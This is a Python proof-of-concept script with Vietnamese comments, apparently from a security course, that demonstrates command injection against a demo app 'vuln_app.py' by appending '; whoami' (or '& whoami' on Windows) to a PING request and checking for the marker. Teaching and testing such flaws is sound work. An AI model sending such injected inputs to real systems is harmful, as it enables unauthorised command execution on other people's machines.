#!/usr/bin/env python3
"""
exploit_poc.py - chung minh (PoC) loi command injection cua vuln_app.py
=========================================================================
Chi dung voi ung dung demo vuln_app.py, tren may/mang CUA BAN, da duoc phep.

Gui mot "dia chi" gia dang hop le nhung co gan them lenh thu hai bang dau
";" de HomeLand Controller (ban co loi) chay luon lenh do. PoC nay CHI in
ra ket qua cua 1 lenh vo hai (whoami/id) de chung minh code thuc thi duoc -
khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()